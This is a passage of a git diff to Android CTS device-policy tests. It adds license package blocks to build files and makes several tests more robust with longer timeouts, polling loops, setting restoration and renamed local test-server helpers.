@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDelegateApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 668880c..7af83ca 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceAdminApp23",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index 6f4503b..c18b21b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceAdminService1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index 3abd12d..eaf7de4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceAndProfileOwnerApp23",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
 
         // Must try a couple times because it will be disabled asynchronously.
-        for (int i = 1; i <= 5; i++) {
+        for (int i = 1; i <= 15; i++) {
             final boolean disabledAfter = !launchActivityAndGetEnabled();
             if (disabledAfter) {
                 return;
             }
             Thread.sleep(100);
         }
-        fail("Not disabled after 2.5s");
+        fail("Not disabled after a period of time");
     }
 
     private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index d18a9fa..2f7444d 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -376,7 +376,7 @@
     private void validateDeviceIdAttestationData(Certificate leaf,
             String expectedSerial, String expectedImei, String expectedMeid)
             throws CertificateParsingException {
-        Attestation attestationRecord = new Attestation((X509Certificate) leaf);
+        Attestation attestationRecord = Attestation.loadFromCertificate((X509Certificate) leaf);
         AuthorizationList teeAttestation = attestationRecord.getTeeEnforced();
         assertThat(teeAttestation).isNotNull();
         validateBrandAttestationRecord(teeAttestation);
@@ -402,7 +402,7 @@
         assertThat(attestation).isNotNull();
         assertThat(attestation.size()).isGreaterThan(1);
         X509Certificate leaf = (X509Certificate) attestation.get(0);
-        Attestation attestationRecord = new Attestation(leaf);
+        Attestation attestationRecord = Attestation.loadFromCertificate(leaf);
         assertThat(attestationRecord.getAttestationChallenge()).isEqualTo(providedChallenge);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index a2c8832..44097cc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -23,9 +24,12 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.os.Bundle;
+import android.os.UserHandle;
 import android.os.UserManager;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 
 import com.google.common.collect.ImmutableSet;
@@ -35,12 +39,14 @@
 public class OrgOwnedProfileOwnerParentTest extends InstrumentationTestCase {
 
     protected Context mContext;
+    private ContentResolver mContentResolver;
     private DevicePolicyManager mParentDevicePolicyManager;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
 
         DevicePolicyManager devicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
@@ -87,11 +93,25 @@
             );
 
     public void testAddGetAndClearUserRestriction_onParent() {
-        for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS) {
-            testAddGetAndClearUserRestriction_onParent(restriction);
-        }
-        for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
-            testAddGetAndClearUserRestriction_onParent(restriction);
+        int locationMode = 1;
+        try {
+            locationMode = runWithShellPermissionIdentity(
+                    () -> Settings.Secure.getIntForUser(mContentResolver,
+                            Settings.Secure.LOCATION_MODE, UserHandle.USER_SYSTEM));
+
+            for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS) {
+                testAddGetAndClearUserRestriction_onParent(restriction);
+            }
+            for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
+                testAddGetAndClearUserRestriction_onParent(restriction);
+            }
+        } finally {
+            // Restore the location mode setting after adding and removing the
+            // DISALLOW_SHARE_LOCATION user restriction. This is because, modifying this user
+            // restriction causes the location mode setting to be turned off.
+            final int finalLocationMode = locationMode;
+            runWithShellPermissionIdentity(() -> Settings.Secure.putIntForUser(mContentResolver,
+                    Settings.Secure.LOCATION_MODE, finalLocationMode, UserHandle.USER_SYSTEM));
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index aaa3e9b..42c03f6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -95,6 +95,8 @@
     private static final String ARG_BATCH_NUMBER = "batchNumber";
     private static final String PREF_KEY_PREFIX = "batch-last-id-";
     private static final String PREF_NAME = "batchIds";
+    // system/core/liblog/event.logtags: 1006  liblog (dropped|1)
+    private static final int TAG_LIBLOG_DROPPED = 1006;
 
     // For brevity.
     private static final Class<String> S = String.class;
@@ -402,6 +404,11 @@
         for (int i = 0; i < events.size(); i++) {
             final SecurityEvent event = events.get(i);
 
+            // Skip liblog dropped event.
+            if (event.getTag() == TAG_LIBLOG_DROPPED) {
+                continue;
+            }
+
             verifyPayloadTypes(event);
 
             // Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 82ce679..9bb371b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -32,6 +32,7 @@
 
 import com.google.common.collect.ImmutableSet;
 
+import java.util.concurrent.TimeUnit;
 import java.util.Set;
 
 public class UserRestrictionsParentTest extends InstrumentationTestCase {
@@ -89,9 +90,15 @@
                 hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
     }
 
-    public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() {
-        assertThat(mUserManager.
-                hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+    public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() throws Exception {
+        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(30);
+        while (System.nanoTime() <= deadline) {
+            if (!mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)) {
+                return;
+            }
+            Thread.sleep(100);
+        }
+        fail("The restriction didn't go away.");
     }
 
     public void testAddUserRestrictionDisallowAddUser_onParent() {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
old mode 100644
new mode 100755
index 1fd8eff..205218d
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
@@ -32,6 +32,8 @@
 import java.io.File;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import com.android.compatibility.common.util.PollingCheck;
 
 /**
  * Test {@link android.app.admin.DevicePolicyManager#installSystemUpdate}
@@ -147,8 +149,20 @@
         }
     }
 
-    private void assertUpdateError(String fileName, int expectedErrorCode)
-            throws InterruptedException {
+    private void assertUpdateError(String fileName, int expectedErrorCode) {
+        AtomicInteger errorCode = new AtomicInteger();
+        // Poll until the error code matches our expectation to deal with delays in propagation
+        PollingCheck.waitFor(() -> {
+            try {
+                errorCode.set(getUpdateError(fileName));
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(e);
+            }
+            return errorCode.get() == expectedErrorCode; });
+        assertEquals(expectedErrorCode, errorCode.get());
+    }
+
+    private int getUpdateError(String fileName) throws InterruptedException {
         CountDownLatch latch = new CountDownLatch(1);
         Uri uri = Uri.fromFile(new File(TEST_SYSTEM_UPDATES_DIR, fileName));
         mDevicePolicyManager.installSystemUpdate(ADMIN_RECEIVER_COMPONENT, uri,
@@ -160,7 +174,7 @@
                     }
                 });
         assertTrue(latch.await(TIMEOUT, TimeUnit.MINUTES));
-        assertEquals(expectedErrorCode, callbackErrorCode);
+        return callbackErrorCode;
     }
 
     private void setNonChargingBatteryThreshold(int threshold) {
@@ -192,6 +206,7 @@
                 && SystemClock.elapsedRealtime() <= startTime + BATTERY_STATE_CHANGE_TIMEOUT_MS) {
             Thread.sleep(BATTERY_STATE_CHANGE_SLEEP_PER_CHECK_MS);
         }
+        assertTrue("Battery state update timeout", isBatteryState(plugged, level));
     }
 
     private boolean isBatteryState(boolean plugged, int level) {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 378e9af..1f3bc25 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceOwnerApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index b793408..b82305a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,6 +15,7 @@
  */
 package com.android.cts.deviceowner;
 
+import android.app.ActivityManager;
 import android.app.PendingIntent;
 import android.content.ContentResolver;
 import android.os.Process;
@@ -107,9 +108,15 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
+        ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+
         // This test leaves a notification which will block future tests that request bug reports
         // to fix this - we dismiss the bug report before returning
-        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
+        CountDownLatch notificationDismissedLatch = null;
+        if (!activityManager.isLowRamDevice()) {
+            // On low ram devices we should reboot the phone after the test
+            notificationDismissedLatch = initTestRequestBugreport();
+        }
 
         Thread.sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
@@ -123,7 +130,10 @@
         assertTrue(newTimestamp >= timeBefore);
         assertTrue(newTimestamp <= timeAfter);
 
-        cleanupTestRequestBugreport(notificationDismissedLatch);
+        if (!activityManager.isLowRamDevice()) {
+            // On low ram devices we should reboot the phone after the test
+            cleanupTestRequestBugreport(notificationDismissedLatch);
+        }
     }
 
     private CountDownLatch initTestRequestBugreport() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
old mode 100644
new mode 100755
index e8f35f2..0224ba8
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -172,9 +172,9 @@
         }
 
         // generate enough traffic to fill the batches.
-        int testReqNo = 0;
+        int fakeReqNo = 0;
         for (int i = 0; i < mBatchesRequested; i++) {
-            testReqNo += generateTestTraffic();
+            fakeReqNo += generateFakeTraffic();
         }
 
         // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
@@ -190,11 +190,11 @@
 
         // Verify network logs.
         assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
-        // For each of the real URLs we have two events: one DNS and one connect. Test requests
+        // For each of the real URLs we have two events: one DNS and one connect. Fake requests
         // don't require DNS queries.
         final int eventsExpected =
                 Math.min(FULL_LOG_BATCH_SIZE * mBatchesRequested,
-                        2 * LOGGED_URLS_LIST.length + testReqNo);
+                        2 * LOGGED_URLS_LIST.length + fakeReqNo);
         verifyNetworkLogs(mNetworkEvents, eventsExpected);
     }
 
@@ -274,7 +274,7 @@
 
     private void verifyNetworkLogs(List<NetworkEvent> networkEvents, int eventsExpected) {
         // allow a batch to be slightly smaller or larger.
-        assertTrue(Math.abs(eventsExpected - networkEvents.size()) <= 50);
+        assertTrue(Math.abs(eventsExpected - networkEvents.size()) <= 150);
         int ctsPackageNameCounter = 0;
         // allow a small down margin for verification, to avoid flakiness
         final int eventsExpectedWithMargin = eventsExpected - 50;
@@ -340,11 +340,11 @@
     }
 
     /** Quickly generate loads of events by repeatedly connecting to a local server. */
-    private int generateTestTraffic() throws IOException, InterruptedException {
+    private int generateFakeTraffic() throws IOException, InterruptedException {
         final ServerSocket serverSocket = new ServerSocket(0);
-        final Thread serverThread = startTestServer(serverSocket);
+        final Thread serverThread = startFakeServer(serverSocket);
 
-        final int reqNo = makeTestRequests(serverSocket.getLocalPort());
+        final int reqNo = makeFakeRequests(serverSocket.getLocalPort());
 
         serverSocket.close();
         serverThread.join();
@@ -352,11 +352,11 @@
         return reqNo;
     }
 
-    private int makeTestRequests(int port) {
+    private int makeFakeRequests(int port) {
         int reqNo;
-        final String TEST_SERVER = "127.0.0.1:" + port;
+        final String FAKE_SERVER = "127.0.0.1:" + port;
         for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
-            connectToWebsite(TEST_SERVER);
+            connectToWebsite(FAKE_SERVER);
             try {
                 // Just to prevent choking the server.
                 Thread.sleep(10);
@@ -367,7 +367,7 @@
         return reqNo;
     }
 
-    private Thread startTestServer(ServerSocket serverSocket) throws InterruptedException {
+    private Thread startFakeServer(ServerSocket serverSocket) throws InterruptedException {
         final Thread serverThread = new Thread(() -> {
             while (!serverSocket.isClosed()) {
                 try {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index 27f4d46..c0b0eab 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -28,7 +28,7 @@
 import static org.testng.Assert.assertThrows;
 
 public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
-    private static final String TEST_PRIVATE_DNS_HOST = "resolver.example.com";
+    private static final String FAKE_PRIVATE_DNS_HOST = "resolver.example.com";
     private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
 
     private UserManager mUserManager;
@@ -130,7 +130,7 @@
 
         // This host does not resolve, so would output an error.
         callSetGlobalPrivateDnsHostModeExpectingResult(
-                TEST_PRIVATE_DNS_HOST,
+                FAKE_PRIVATE_DNS_HOST,
                 DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
     }
 
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index f00d03a..74f44d7 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHasLauncherActivityApp",
     // Don't include this package in any target
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index c3654ec..31bfdf4 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIntentReceiverApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index 2a83c8e..db80feb 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIntentSenderApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index 239eb84..a9ba46d 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLauncherAppsTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index 21e3991..f205874 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -21,6 +21,7 @@
 import static junit.framework.Assert.assertNotNull;
 import static junit.framework.Assert.assertNull;
 import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
 
 import static org.testng.Assert.assertEquals;
 import static org.testng.Assert.assertThrows;
@@ -30,7 +31,6 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.support.test.uiautomator.UiDevice;
@@ -46,8 +46,13 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.Set;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 /**
  * Test that runs {@link UserManager#trySetQuietModeEnabled(boolean, UserHandle)} API
@@ -147,7 +152,7 @@
         assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
         assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
 
-        waitForUserNotRunning(30);
+        waitForUserLocked();
 
         intent = trySetQuietModeEnabled(false,
                 UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, false);
@@ -155,15 +160,24 @@
         assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
     }
 
-    // Note: The timeout is in seconds.
-    private void waitForUserNotRunning(int timeout) {
-        for(int i = 0 ; i < 2 * timeout ; i++) {
-            if (!mUserManager.isUserRunning(mTargetUser)) {
-                break;
+    private void waitForUserLocked() throws Exception {
+        // Should match a line in "dumpsys mount" output like this:
+        // Local unlocked users: [0, 10]
+        final Pattern p = Pattern.compile("Local unlocked users: \\[(.*)\\]");
+        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(60);
+        while (System.nanoTime() < deadline) {
+            final String output = mUiDevice.executeShellCommand("dumpsys mount");
+            final Matcher matcher = p.matcher(output);
+            assertTrue("Unexpected dupmsys mount output: " + output, matcher.find());
+            final Set<Integer> unlockedUsers = Arrays.stream(matcher.group(1).split(", "))
+                    .map(Integer::valueOf)
+                    .collect(Collectors.toSet());
+            if (!unlockedUsers.contains(mTargetUser.getIdentifier())) {
+                return;
             }
-            SystemClock.sleep(500);
+            Thread.sleep(500);
         }
-        assertFalse("Cannot get the profile stopped.", mUserManager.isUserRunning(mTargetUser));
+        fail("Cannot get the profile locked");
     }
 
     private Intent trySetQuietModeEnabled(boolean enabled, int flags,
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index 642748e..1a4f063 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLauncherAppsTestsSupport",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index 565c88c..c843216 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsManagedProfileApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 4c5659b..3270ef2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -39,7 +39,7 @@
  */
 public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
     /** How long should we wait for the component state to change. */
-    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 5000;
     /** How often to check component state. */
     private static final int POLL_TIME_MS = 400;
     /** Activity that handles Bluetooth sharing. */
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 87dd24b..80a96cb 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMeteredDataTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index 774f4ca..202ef5e 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsNotificationSenderApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index 8ffabca..c76ba59 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPackageInstallerApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index f2a77fb..5dc1020 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPasswordComplexity",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index c304b08..16df2a4 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyPrintingApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 80ac6cb..3ba4837 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProfileOwnerApp",
     defaults: ["cts_defaults"],
